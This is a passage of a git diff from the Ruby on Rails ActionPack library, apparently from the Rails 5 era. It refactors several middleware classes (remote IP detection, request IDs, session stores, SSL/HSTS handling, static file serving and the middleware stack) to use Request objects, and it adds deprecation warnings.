#:nodoc: - run_callbacks :cleanup if validated? - ensure - @validated = true + deprecate to_prepare: 'use ActiveSupport::Reloader.to_prepare instead', + to_cleanup: 'use ActiveSupport::Reloader.to_complete instead', + prepare!: 'use Rails.application.reloader.prepare! instead', + cleanup!: 'use Rails.application.reloader.reload! instead of cleanup + prepare' end - private - - def validated? #:nodoc: - @validated - end + self.default_reloader = ActiveSupport::Reloader end end diff --git a/actionpack/lib/action_dispatch/middleware/remote_ip.rb b/actionpack/lib/action_dispatch/middleware/remote_ip.rb index 7c4236518d..31b75498b6 100644 --- a/actionpack/lib/action_dispatch/middleware/remote_ip.rb +++ b/actionpack/lib/action_dispatch/middleware/remote_ip.rb @@ -43,7 +43,7 @@ module ActionDispatch # Create a new +RemoteIp+ middleware instance. # - # The +check_ip_spoofing+ option is on by default. When on, an exception + # The +ip_spoofing_check+ option is on by default. When on, an exception # is raised if it looks like the client is trying to lie about its own IP # address. It makes sense to turn off this check on sites aimed at non-IP # clients (like WAP devices), or behind proxies that set headers in an @@ -57,9 +57,9 @@ module ActionDispatch # with your proxy servers after it. If your proxies aren't removed, pass # them in via the +custom_proxies+ parameter. That way, the middleware will # ignore those IP addresses, and return the one that you want. - def initialize(app, check_ip_spoofing = true, custom_proxies = nil) + def initialize(app, ip_spoofing_check = true, custom_proxies = nil) @app = app - @check_ip = check_ip_spoofing + @check_ip = ip_spoofing_check @proxies = if custom_proxies.blank? TRUSTED_PROXIES elsif custom_proxies.respond_to?(:any?) @@ -74,18 +74,19 @@ module ActionDispatch # requests. For those requests that do need to know the IP, the # GetIp#calculate_ip method will calculate the memoized client IP address. def call(env) - env["action_dispatch.remote_ip"] = GetIp.new(env, self) - @app.call(env) + req = ActionDispatch::Request.new env + req.remote_ip = GetIp.new(req, check_ip, proxies) + @app.call(req.env) end # The GetIp class exists as a way to defer processing of the request data # into an actual IP address. If the ActionDispatch::Request#remote_ip method # is called, this class will calculate the value and then memoize it. class GetIp - def initialize(env, middleware) - @env = env - @check_ip = middleware.check_ip - @proxies = middleware.proxies + def initialize(req, check_ip, proxies) + @req = req + @check_ip = check_ip + @proxies = proxies end # Sort through the various IP address headers, looking for the IP most @@ -108,23 +109,31 @@ module ActionDispatch # the last address left, which was presumably set by one of those proxies. def calculate_ip # Set by the Rack web server, this is a single value. - remote_addr = ips_from('REMOTE_ADDR').last + remote_addr = ips_from(@req.remote_addr).last # Could be a CSV list and/or repeated headers that were concatenated. - client_ips = ips_from('HTTP_CLIENT_IP').reverse - forwarded_ips = ips_from('HTTP_X_FORWARDED_FOR').reverse + client_ips = ips_from(@req.client_ip).reverse + forwarded_ips = ips_from(@req.x_forwarded_for).reverse # +Client-Ip+ and +X-Forwarded-For+ should not, generally, both be set. - # If they are both set, it means that this request passed through two - # proxies with incompatible IP header conventions, and there is no way - # for us to determine which header is the right one after the fact. - # Since we have no idea, we give up and explode. + # If they are both set, it means that either: + # + # 1) This request passed through two proxies with incompatible IP header + # conventions. + # 2) The client passed one of +Client-Ip+ or +X-Forwarded-For+ + # (whichever the proxy servers weren't using) themselves. + # + # Either way, there is no way for us to determine which header is the + # right one after the fact. Since we have no idea, if we are concerned + # about IP spoofing we need to give up and explode. (If you're not + # concerned about IP spoofing you can turn the +ip_spoofing_check+ + # option off.) should_check_ip = @check_ip && client_ips.last && forwarded_ips.last if should_check_ip && !forwarded_ips.include?(client_ips.last) # We don't know which came from the proxy, and which from the user raise IpSpoofAttackError, "IP spoofing attack?! " + - "HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect} " + - "HTTP_X_FORWARDED_FOR=#{@env['HTTP_X_FORWARDED_FOR'].inspect}" + "HTTP_CLIENT_IP=#{@req.client_ip.inspect} " + + "HTTP_X_FORWARDED_FOR=#{@req.x_forwarded_for.inspect}" end # We assume these things about the IP headers: @@ -147,8 +156,9 @@ module ActionDispatch protected def ips_from(header) + return [] unless header # Split the comma-separated list into an array of strings - ips = @env[header] ? @env[header].strip.split(/[,\s]+/) : [] + ips = header.strip.split(/[,\s]+/) ips.select do |ip| begin # Only return IPs that are valid according to the IPAddr#new method diff --git a/actionpack/lib/action_dispatch/middleware/request_id.rb b/actionpack/lib/action_dispatch/middleware/request_id.rb index b9ca524309..1555ff72af 100644 --- a/actionpack/lib/action_dispatch/middleware/request_id.rb +++ b/actionpack/lib/action_dispatch/middleware/request_id.rb @@ -13,22 +13,23 @@ module ActionDispatch # from multiple pieces of the stack. class RequestId X_REQUEST_ID = "X-Request-Id".freeze # :nodoc: - ACTION_DISPATCH_REQUEST_ID = "action_dispatch.request_id".freeze # :nodoc: - HTTP_X_REQUEST_ID = "HTTP_X_REQUEST_ID".freeze # :nodoc: def initialize(app) @app = app end def call(env) - env[ACTION_DISPATCH_REQUEST_ID] = external_request_id(env) || internal_request_id - @app.call(env).tap { |_status, headers, _body| headers[X_REQUEST_ID] = env[ACTION_DISPATCH_REQUEST_ID] } + req = ActionDispatch::Request.new env + req.request_id = make_request_id(req.x_request_id) + @app.call(env).tap { |_status, headers, _body| headers[X_REQUEST_ID] = req.request_id } end private - def external_request_id(env) - if request_id = env[HTTP_X_REQUEST_ID].presence + def make_request_id(request_id) + if request_id.presence request_id.gsub(/[^\w\-]/, "".freeze).first(255) + else + internal_request_id end end diff --git a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb index 84df55fd5a..5fb5953811 100644 --- a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb +++ b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb @@ -7,14 +7,22 @@ require 'action_dispatch/request/session' module ActionDispatch module Session class SessionRestoreError < StandardError #:nodoc: - attr_reader :original_exception - def initialize(const_error) - @original_exception = const_error + def initialize(const_error = nil) + if const_error + ActiveSupport::Deprecation.warn("Passing #original_exception is deprecated and has no effect. " \ + "Exceptions will automatically capture the original exception.", caller) + end super("Session contains objects whose class definition isn't available.\n" + "Remember to require the classes for all objects kept in the session.\n" + - "(Original exception: #{const_error.message} [#{const_error.class}])\n") + "(Original exception: #{$!.message} [#{$!.class}])\n") + set_backtrace $!.backtrace + end + + def original_exception + ActiveSupport::Deprecation.warn("#original_exception is deprecated. Use #cause instead.", caller) + cause end end @@ -36,6 +44,11 @@ module ActionDispatch @default_options.delete(:sidbits) @default_options.delete(:secure_random) end + + private + def make_request(env) + ActionDispatch::Request.new env + end end module StaleSessionCheck @@ -54,8 +67,8 @@ module ActionDispatch begin # Note that the regexp does not allow $1 to end with a ':' $1.constantize - rescue LoadError, NameError => e - raise ActionDispatch::Session::SessionRestoreError, e, e.backtrace + rescue LoadError, NameError + raise ActionDispatch::Session::SessionRestoreError end retry else @@ -65,8 +78,8 @@ module ActionDispatch end module SessionObject # :nodoc: - def prepare_session(env) - Request::Session.create(self, env, @default_options) + def prepare_session(req) + Request::Session.create(self, req, @default_options) end def loaded_session?(session) @@ -74,15 +87,14 @@ module ActionDispatch end end - class AbstractStore < Rack::Session::Abstract::ID + class AbstractStore < Rack::Session::Abstract::Persisted include Compatibility include StaleSessionCheck include SessionObject private - def set_cookie(env, session_id, cookie) - request = ActionDispatch::Request.new(env) + def set_cookie(request, session_id, cookie) request.cookie_jar[key] = cookie end end diff --git a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb index 857e49a682..589ae46e38 100644 --- a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb +++ b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb @@ -18,7 +18,7 @@ module ActionDispatch end # Get a session from the cache. - def get_session(env, sid) + def find_session(env, sid) unless sid and session = @cache.read(cache_key(sid)) sid, session = generate_sid, {} end @@ -26,7 +26,7 @@ module ActionDispatch end # Set a session in the cache. - def set_session(env, sid, session, options) + def write_session(env, sid, session, options) key = cache_key(sid) if session @cache.write(key, session, :expires_in => options[:expire_after]) @@ -37,7 +37,7 @@ module ActionDispatch end # Remove a session from the cache. - def destroy_session(env, sid, options) + def delete_session(env, sid, options) @cache.delete(cache_key(sid)) generate_sid end diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb index d8f9614904..dec9c60ef2 100644 --- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb +++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb @@ -23,7 +23,7 @@ module ActionDispatch # goes a step further than signed cookies in that encrypted cookies cannot # be altered or read by users. This is the default starting in Rails 4. # - # If you have both secret_token and secret_key base set, your cookies will + # If you have both secret_token and secret_key_base set, your cookies will # be encrypted, and signed cookies generated by Rails 3 will be # transparently read and encrypted to provide a smooth upgrade path. # @@ -36,7 +36,7 @@ module ActionDispatch # development: # secret_key_base: 'secret key' # - # To generate a secret key for an existing application, run `rake secret`. + # To generate a secret key for an existing application, run `rails secret`. # # If you are upgrading an existing Rails 3 app, you should leave your # existing secret_token in place and simply add the new secret_key_base. @@ -53,7 +53,7 @@ module ActionDispatch # # Note that changing the secret key will invalidate all existing sessions! # - # Because CookieStore extends Rack::Session::Abstract::ID, many of the + # Because CookieStore extends Rack::Session::Abstract::Persisted, many of the # options described there can be used to customize the session cookie that # is generated. For example: # @@ -62,25 +62,21 @@ module ActionDispatch # would set the session cookie to expire automatically 14 days after creation. # Other useful options include <tt>:key</tt>, <tt>:secure</tt> and # <tt>:httponly</tt>. - class CookieStore < Rack::Session::Abstract::ID - include Compatibility - include StaleSessionCheck - include SessionObject - + class CookieStore < AbstractStore def initialize(app, options={}) super(app, options.merge!(:cookie_only => true)) end - def destroy_session(env, session_id, options) + def delete_session(req, session_id, options) new_sid = generate_sid unless options[:drop] # Reset hash and Assign the new session id - env["action_dispatch.request.unsigned_session_cookie"] = new_sid ? { "session_id" => new_sid } : {} + req.set_header("action_dispatch.request.unsigned_session_cookie", new_sid ? { "session_id" => new_sid } : {}) new_sid end - def load_session(env) + def load_session(req) stale_session_check! do - data = unpacked_cookie_data(env) + data = unpacked_cookie_data(req) data = persistent_session_id!(data) [data["session_id"], data] end @@ -88,20 +84,21 @@ module ActionDispatch private - def extract_session_id(env) + def extract_session_id(req) stale_session_check! do - unpacked_cookie_data(env)["session_id"] + unpacked_cookie_data(req)["session_id"] end end - def unpacked_cookie_data(env) - env["action_dispatch.request.unsigned_session_cookie"] ||= begin - stale_session_check! do - if data = get_cookie(env) + def unpacked_cookie_data(req) + req.fetch_header("action_dispatch.request.unsigned_session_cookie") do |k| + v = stale_session_check! do + if data = get_cookie(req) data.stringify_keys! end data || {} end + req.set_header k, v end end @@ -111,21 +108,20 @@ module ActionDispatch data end - def set_session(env, sid, session_data, options) + def write_session(req, sid, session_data, options) session_data["session_id"] = sid session_data end - def set_cookie(env, session_id, cookie) - cookie_jar(env)[@key] = cookie + def set_cookie(request, session_id, cookie) + cookie_jar(request)[@key] = cookie end - def get_cookie(env) - cookie_jar(env)[@key] + def get_cookie(req) + cookie_jar(req)[@key] end - def cookie_jar(env) - request = ActionDispatch::Request.new(env) + def cookie_jar(request) request.cookie_jar.signed_or_encrypted end end diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb index f0779279c1..64695f9738 100644 --- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb +++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb @@ -27,24 +27,26 @@ module ActionDispatch end def call(env) + request = ActionDispatch::Request.new env @app.call(env) rescue Exception => exception - if env['action_dispatch.show_exceptions'] == false - raise exception + if request.show_exceptions? + render_exception(request, exception) else - render_exception(env, exception) + raise exception end end private - def render_exception(env, exception) - wrapper = ExceptionWrapper.new(env, exception) + def render_exception(request, exception) + backtrace_cleaner = request.get_header 'action_dispatch.backtrace_cleaner' + wrapper = ExceptionWrapper.new(backtrace_cleaner, exception) status = wrapper.status_code - env["action_dispatch.exception"] = wrapper.exception - env["action_dispatch.original_path"] = env["PATH_INFO"] - env["PATH_INFO"] = "/#{status}" - response = @exceptions_app.call(env) + request.set_header "action_dispatch.exception", wrapper.exception + request.set_header "action_dispatch.original_path", request.path_info + request.path_info = "/#{status}" + response = @exceptions_app.call(request.env) response[1]['X-Cascade'] == 'pass' ? pass_response(status) : response rescue Exception => failsafe_error $stderr.puts "Error during failsafe response: #{failsafe_error}\n #{failsafe_error.backtrace * "\n "}" diff --git a/actionpack/lib/action_dispatch/middleware/ssl.rb b/actionpack/lib/action_dispatch/middleware/ssl.rb index 0c7caef25d..ab3077b308 100644 --- a/actionpack/lib/action_dispatch/middleware/ssl.rb +++ b/actionpack/lib/action_dispatch/middleware/ssl.rb @@ -1,72 +1,151 @@ module ActionDispatch + # This middleware is added to the stack when `config.force_ssl = true`, and is passed + # the options set in `config.ssl_options`. It does three jobs to enforce secure HTTP + # requests: + # + # 1. TLS redirect: Permanently redirects http:// requests to https:// + # with the same URL host, path, etc. Enabled by default. Set `config.ssl_options` + # to modify the destination URL + # (e.g. `redirect: { host: "secure.widgets.com", port: 8080 }`), or set + # `redirect: false` to disable this feature. + # + # 2. Secure cookies: Sets the `secure` flag on cookies to tell browsers they + # mustn't be sent along with http:// requests. Enabled by default. Set + # `config.ssl_options` with `secure_cookies: false` to disable this feature. + # + # 3. HTTP Strict Transport Security (HSTS): Tells the browser to remember + # this site as TLS-only and automatically redirect non-TLS requests. + # Enabled by default. Configure `config.ssl_options` with `hsts: false` to disable. + # + # Set `config.ssl_options` with `hsts: { … }` to configure HSTS: + # * `expires`: How long, in seconds, these settings will stick. Defaults to + # `180.days` (recommended). The minimum required to qualify for browser + # preload lists is `18.weeks`. + # * `subdomains`: Set to `true` to tell the browser to apply these settings + # to all subdomains. This protects your cookies from interception by a + # vulnerable site on a subdomain. Defaults to `true`. + # * `preload`: Advertise that this site may be included in browsers' + # preloaded HSTS lists. HSTS protects your site on every visit *except the + # first visit* since it hasn't seen your HSTS header yet. To close this + # gap, browser vendors include a baked-in list of HSTS-enabled sites. + # Go to https://hstspreload.appspot.com to submit your site for inclusion. + # + # To turn off HSTS, omitting the header is not enough. Browsers will remember the + # original HSTS directive until it expires. Instead, use the header to tell browsers to + # expire HSTS immediately. Setting `hsts: false` is a shortcut for + # `hsts: { expires: 0 }`. + # + # Requests can opt-out of redirection with `exclude`: + # + # config.ssl_options = { redirect: { exclude: -> request { request.path =~ /healthcheck/ } } } class SSL - YEAR = 31536000 + # Default to 180 days, the low end for https://www.ssllabs.com/ssltest/ + # and greater than the 18-week requirement for browser preload lists. + HSTS_EXPIRES_IN = 15552000 def self.default_hsts_options - { :expires => YEAR, :subdomains => false } + { expires: HSTS_EXPIRES_IN, subdomains: false, preload: false } end - def initialize(app, options = {}) + def initialize(app, redirect: {}, hsts: {}, secure_cookies: true, **options) @app = app - @hsts = options.fetch(:hsts, {}) - @hsts = {} if @hsts == true - @hsts = self.class.default_hsts_options.merge(@hsts) if @hsts + if options[:host] || options[:port] + ActiveSupport::Deprecation.warn <<-end_warning.strip_heredoc + The `:host` and `:port` options are moving within `:redirect`: + `config.ssl_options = { redirect: { host: …, port: … } }`. + end_warning + @redirect = options.slice(:host, :port) + else + @redirect = redirect + end + + @exclude = @redirect && @redirect[:exclude] || proc { !@redirect } + @secure_cookies = secure_cookies + + if hsts != true && hsts != false && hsts[:subdomains].nil? + hsts[:subdomains] = false + + ActiveSupport::Deprecation.warn <<-end_warning.strip_heredoc + In Rails 5.1, The `:subdomains` option of HSTS config will be treated as true if + unspecified. Set `config.ssl_options = { hsts: { subdomains: false } }` to opt out + of this behavior. + end_warning + end - @host = options[:host] - @port = options[:port] + @hsts_header = build_hsts_header(normalize_hsts_options(hsts)) end def call(env) - request = Request.new(env) + request = Request.new env if request.ssl? - status, headers, body = @app.call(env) - headers = hsts_headers.merge(headers) - flag_cookies_as_secure!(headers) - [status, headers, body] + @app.call(env).tap do |status, headers, body| + set_hsts_header! headers + flag_cookies_as_secure! headers if @secure_cookies + end else - redirect_to_https(request) + return redirect_to_https request unless @exclude.call(request) + @app.call(env) end end private - def redirect_to_https(request) - host = @host || request.host - port = @port || request.port - - location = "https://#{host}" - location << ":#{port}" if port != 80 - location << request.fullpath - - headers = { 'Content-Type' => 'text/html', 'Location' => location } - - [301, headers, []] + def set_hsts_header!(headers) + headers['Strict-Transport-Security'.freeze] ||= @hsts_header end - # http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02 - def hsts_headers - if @hsts - value = "max-age=#{@hsts[:expires].to_i}" - value += "; includeSubDomains" if @hsts[:subdomains] - { 'Strict-Transport-Security' => value } + def normalize_hsts_options(options) + case options + # Explicitly disabling HSTS clears the existing setting from browsers + # by setting expiry to 0. + when false + self.class.default_hsts_options.merge(expires: 0) + # Default to enabled, with default options. + when nil, true + self.class.default_hsts_options else - {} + self.class.default_hsts_options.merge(options) end end + # http://tools.ietf.org/html/rfc6797#section-6.1 + def build_hsts_header(hsts) + value = "max-age=#{hsts[:expires].to_i}" + value << "; includeSubDomains" if hsts[:subdomains] + value << "; preload" if hsts[:preload] + value + end + def flag_cookies_as_secure!(headers) - if cookies = headers['Set-Cookie'] - cookies = cookies.split("\n") + if cookies = headers['Set-Cookie'.freeze] + cookies = cookies.split("\n".freeze) - headers['Set-Cookie'] = cookies.map { |cookie| + headers['Set-Cookie'.freeze] = cookies.map { |cookie| if cookie !~ /;\s*secure\s*(;|$)/i "#{cookie}; secure" else cookie end - }.join("\n") + }.join("\n".freeze) end end + + def redirect_to_https(request) + [ @redirect.fetch(:status, 301), + { 'Content-Type' => 'text/html', + 'Location' => https_location_for(request) }, + @redirect.fetch(:body, []) ] + end + + def https_location_for(request) + host = @redirect[:host] || request.host + port = @redirect[:port] || request.port + + location = "https://#{host}" + location << ":#{port}" if port != 80 && port != 443 + location << request.fullpath + location + end end end diff --git a/actionpack/lib/action_dispatch/middleware/stack.rb b/actionpack/lib/action_dispatch/middleware/stack.rb index bbf734f103..0b4bee5462 100644 --- a/actionpack/lib/action_dispatch/middleware/stack.rb +++ b/actionpack/lib/action_dispatch/middleware/stack.rb @@ -4,25 +4,15 @@ require "active_support/dependencies" module ActionDispatch class MiddlewareStack class Middleware - attr_reader :args, :block, :name, :classcache + attr_reader :args, :block, :klass - def initialize(klass_or_name, *args, &block) - @klass = nil - - if klass_or_name.respond_to?(:name) - @klass = klass_or_name - @name = @klass.name - else - @name = klass_or_name.to_s - end - - @classcache = ActiveSupport::Dependencies::Reference - @args, @block = args, block + def initialize(klass, args, block) + @klass = klass + @args = args + @block = block end - def klass - @klass || classcache[@name] - end + def name; klass.name; end def ==(middleware) case middleware @@ -30,24 +20,20 @@ module ActionDispatch klass == middleware.klass when Class klass == middleware - else - normalize(@name) == normalize(middleware) end end def inspect - klass.to_s + if klass.is_a?(Class) + klass.to_s + else + klass.class.to_s + end end def build(app) klass.new(app, *args, &block) end - - private - - def normalize(object) - object.to_s.strip.sub(/^::/, '') - end end include Enumerable @@ -75,19 +61,17 @@ module ActionDispatch middlewares[i] end - def unshift(*args, &block) - middleware = self.class::Middleware.new(*args, &block) - middlewares.unshift(middleware) + def unshift(klass, *args, &block) + middlewares.unshift(build_middleware(klass, args, block)) end def initialize_copy(other) self.middlewares = other.middlewares.dup end - def insert(index, *args, &block) + def insert(index, klass, *args, &block) index = assert_index(index, :before) - middleware = self.class::Middleware.new(*args, &block) - middlewares.insert(index, middleware) + middlewares.insert(index, build_middleware(klass, args, block)) end alias_method :insert_before, :insert @@ -104,26 +88,46 @@ module ActionDispatch end def delete(target) - middlewares.delete target + target = get_class target + middlewares.delete_if { |m| m.klass == target } end - def use(*args, &block) - middleware = self.class::Middleware.new(*args, &block) - middlewares.push(middleware) + def use(klass, *args, &block) + middlewares.push(build_middleware(klass, args, block)) end - def build(app = nil, &block) - app ||= block - raise "MiddlewareStack#build requires an app" unless app + def build(app = Proc.new) middlewares.freeze.reverse.inject(app) { |a, e| e.build(a) } end - protected + private def assert_index(index, where) - i = index.is_a?(Integer) ? index : middlewares.index(index) + index = get_class index + i = index.is_a?(Integer) ? index : middlewares.index { |m| m.klass == index } raise "No such middleware to insert #{where}: #{index.inspect}" unless i i end + + def get_class(klass) + if klass.is_a?(String) || klass.is_a?(Symbol) + classcache = ActiveSupport::Dependencies::Reference + converted_klass = classcache[klass.to_s] + ActiveSupport::Deprecation.warn <<-eowarn +Passing strings or symbols to the middleware builder is deprecated, please change +them to actual class references. For example: + + "#{klass}" => #{converted_klass} + + eowarn + converted_klass + else + klass + end + end + + def build_middleware(klass, args, block) + Middleware.new(get_class(klass), args, block) + end end end diff --git a/actionpack/lib/action_dispatch/middleware/static.rb b/actionpack/lib/action_dispatch/middleware/static.rb index fdd1bc4e69..2c5721dc22 100644 --- a/actionpack/lib/action_dispatch/middleware/static.rb +++ b/actionpack/lib/action_dispatch/middleware/static.rb @@ -3,32 +3,37 @@ require 'active_support/core_ext/uri' module ActionDispatch # This middleware returns a file's contents from disk in the body response. - # When initialized it can accept an optional 'Cache-Control' header which - # will be set when a response containing a file's contents is delivered. + # When initialized, it can accept optional HTTP headers, which will be set + # when a response containing a file's contents is delivered. # # This middleware will render the file specified in `env["PATH_INFO"]` - # where the base path is in the +root+ directory. For example if the +root+ - # is set to `public/` then a request with `env["PATH_INFO"]` of - # `assets/application.js` will return a response with contents of a file + # where the base path is in the +root+ directory. For example, if the +root+ + # is set to `public/`, then a request with `env["PATH_INFO"]` of + # `assets/application.js` will return a response with the contents of a file # located at `public/assets/application.js` if the file exists. If the file - # does not exist a 404 "File not Found" response will be returned. + # does not exist, a 404 "File not Found" response will be returned. class FileHandler - def initialize(root, cache_control) + def initialize(root, index: 'index', headers: {}) @root = root.chomp('/') - @compiled_root = /^#{Regexp.escape(root)}/ - headers = cache_control && { 'Cache-Control' => cache_control } - @file_server = ::Rack::File.new(@root, headers) + @file_server = ::Rack::File.new(@root, headers) + @index = index end + # Takes a path to a file. If the file is found, has valid encoding, and has + # correct read permissions, the return value is a URI-escaped string + # representing the filename. Otherwise, false is returned. + # + # Used by the `Static` class to check the existence of a valid file + # in the server's `public/` directory (see Static#call). def match?(path) - path = URI.parser.unescape(path) - return false unless path.valid_encoding? - path = Rack::Utils.clean_path_info path + path = ::Rack::Utils.unescape_path path + return false unless ::Rack::Utils.valid_path? path + path = ::Rack::Utils.clean_path_info path - paths = [path, "#{path}#{ext}", "#{path}/index#{ext}"] + paths = [path, "#{path}#{ext}", "#{path}/#{@index}#{ext}"] if match = paths.detect { |p| - path = File.join(@root, p) + path = File.join(@root, p.force_encoding('UTF-8'.freeze)) begin File.file?(path) && File.readable?(path) rescue SystemCallError @@ -36,31 +41,35 @@ module ActionDispatch end } - return ::Rack::Utils.escape(match) + return ::Rack::Utils.escape_path(match) end end def call(env) - path = env['PATH_INFO'] + serve ActionDispatch::Request.new env + end + + def serve(request) + path = request.path_info gzip_path = gzip_file_path(path) - if gzip_path && gzip_encoding_accepted?(env) - env['PATH_INFO'] = gzip_path - status, headers, body = @file_server.call(env) + if gzip_path && gzip_encoding_accepted?(request) + request.path_info = gzip_path + status, headers, body = @file_server.call(request.env) if status == 304 return [status, headers, body] end headers['Content-Encoding'] = 'gzip' headers['Content-Type'] = content_type(path) else - status, headers, body = @file_server.call(env) + status, headers, body = @file_server.call(request.env) end headers['Vary'] = 'Accept-Encoding' if gzip_path return [status, headers, body] ensure - env['PATH_INFO'] = path + request.path_info = path end private @@ -69,17 +78,17 @@ module ActionDispatch end def content_type(path) - ::Rack::Mime.mime_type(::File.extname(path), 'text/plain') + ::Rack::Mime.mime_type(::File.extname(path), 'text/plain'.freeze) end - def gzip_encoding_accepted?(env) - env['HTTP_ACCEPT_ENCODING'] =~ /\bgzip\b/i + def gzip_encoding_accepted?(request) + request.accept_encoding =~ /\bgzip\b/i end def gzip_file_path(path) can_gzip_mime = content_type(path) =~ /\A(?:text\/|application\/javascript)/ gzip_path = "#{path}.gz" - if can_gzip_mime && File.exist?(File.join(@root, ::Rack::Utils.unescape(gzip_path))) + if can_gzip_mime && File.exist?(File.join(@root, ::Rack::Utils.unescape_path(gzip_path))) gzip_path else false @@ -88,7 +97,7 @@ module ActionDispatch end # This middleware will attempt to return the contents of a file's body from - # disk in the response. If a file is not found on disk, the request will be + # disk in the response. If a file is not found on disk, the request will be # delegated to the application stack. This middleware is commonly initialized # to serve assets from a server's `public/` directory. # @@ -97,22 +106,30 @@ module ActionDispatch # produce a directory traversal using this middleware. Only 'GET' and 'HEAD' # requests will result in a file being returned. class Static - def initialize(app, path, cache_control=nil) + def initialize(app, path, deprecated_cache_control = :not_set, index: 'index', headers: {}) + if deprecated_cache_control != :not_set + ActiveSupport::Deprecation.warn("The `cache_control` argument is deprecated," \ + "replaced by `headers: { 'Cache-Control' => #{deprecated_cache_control} }`, " \ + " and will be removed in Rails 5.1.") + headers['Cache-Control'.freeze] = deprecated_cache_control + end + @app = app - @file_handler = FileHandler.new(path, cache_control) + @file_handler = FileHandler.new(path, index: index, headers: headers) end def call(env) - case env['REQUEST_METHOD'] - when 'GET', 'HEAD' - path = env['PATH_INFO'].chomp('/') + req = ActionDispatch::Request.new env + + if req.get? || req.head? + path = req.path_info.chomp('/'.freeze) if match = @file_handler.match?(path) - env["PATH_INFO"] = match - return @file_handler.call(env) + req.path_info = match + return @file_handler.serve(req) end end - @app.call(env) + @app.call(req.env) end end end diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.html.erb index e7b913bbe4..e7b913bbe4 100644 --- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb +++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.html.erb diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.text.erb new file mode 100644 index 0000000000..23a9c7ba3f --- /dev/null +++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.text.erb @@ -0,0 +1,8 @@ +<% @source_extracts.first(3).each do |source_extract| %> +<% if source_extract[:code] %> +Extracted source (around line #<%= source_extract[:line_number] %>): + +<% source_extract[:code].each do |line, source| -%> +<%= line == source_extract[:line_number] ? "*#{line}" : "##{line}" -%> <%= source -%><% end -%> +<% end %> +<% end %> diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb index c1e8b6cae3..5060da9369 100644 --- a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb +++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb @@ -1,6 +1,6 @@ <header> <h1> - <%= @exception.original_exception.class.to_s %> in + <%= @exception.cause.class.to_s %> in <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %> </h1> </header> diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb index 77bcd26726..78d52acd96 100644 --- a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb +++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb @@ -1,4 +1,4 @@ -<%= @exception.original_exception.class.to_s %> in <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %> +<%= @exception.cause.class.to_s %> in <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %> Showing <%= @exception.file_name %> where line #<%= @exception.line_number %> raised: <%= @exception.message %> diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb index ddeea24bb3..e9e6a2e597 100644 --- a/actionpack/lib/action_dispatch/railtie.rb +++ b/actionpack/lib/action_dispatch/railtie.rb @@ -39,6 +39,8 @@ module ActionDispatch config.action_dispatch.always_write_cookie = Rails.env.development? if config.action_dispatch.always_write_cookie.nil? ActionDispatch::Cookies::CookieJar.always_write_cookie = config.action_dispatch.always_write_cookie + ActionDispatch::Reloader.default_reloader = app.reloader + ActionDispatch.test_app = app end end diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb index 973627f106..47568f6ad0 100644 --- a/actionpack/lib/action_dispatch/request/session.rb +++ b/actionpack/lib/action_dispatch/request/session.rb @@ -1,56 +1,56 @@ require 'rack/session/abstract/id' module ActionDispatch - class Request < Rack::Request + class Request # Session is responsible for lazily loading the session from store. class Session # :nodoc: - ENV_SESSION_KEY = Rack::Session::Abstract::ENV_SESSION_KEY # :nodoc: - ENV_SESSION_OPTIONS_KEY = Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY # :nodoc: + ENV_SESSION_KEY = Rack::RACK_SESSION # :nodoc: + ENV_SESSION_OPTIONS_KEY = Rack::RACK_SESSION_OPTIONS # :nodoc: # Singleton object used to determine if an optional param wasn't specified Unspecified = Object.new - def self.create(store, env, default_options) - session_was = find env - session = Request::Session.new(store, env) + # Creates a session hash, merging the properties of the previous session if any + def self.create(store, req, default_options) + session_was = find req + session = Request::Session.new(store, req) session.merge! session_was if session_was - set(env, session) - Options.set(env, Request::Session::Options.new(store, env, default_options)) + set(req, session) + Options.set(req, Request::Session::Options.new(store, default_options)) session end - def self.find(env) - env[ENV_SESSION_KEY] + def self.find(req) + req.get_header ENV_SESSION_KEY end - def self.set(env, session) - env[ENV_SESSION_KEY] = session + def self.set(req, session) + req.set_header ENV_SESSION_KEY, session end class Options #:nodoc: - def self.set(env, options) - env[ENV_SESSION_OPTIONS_KEY] = options + def self.set(req, options) + req.set_header 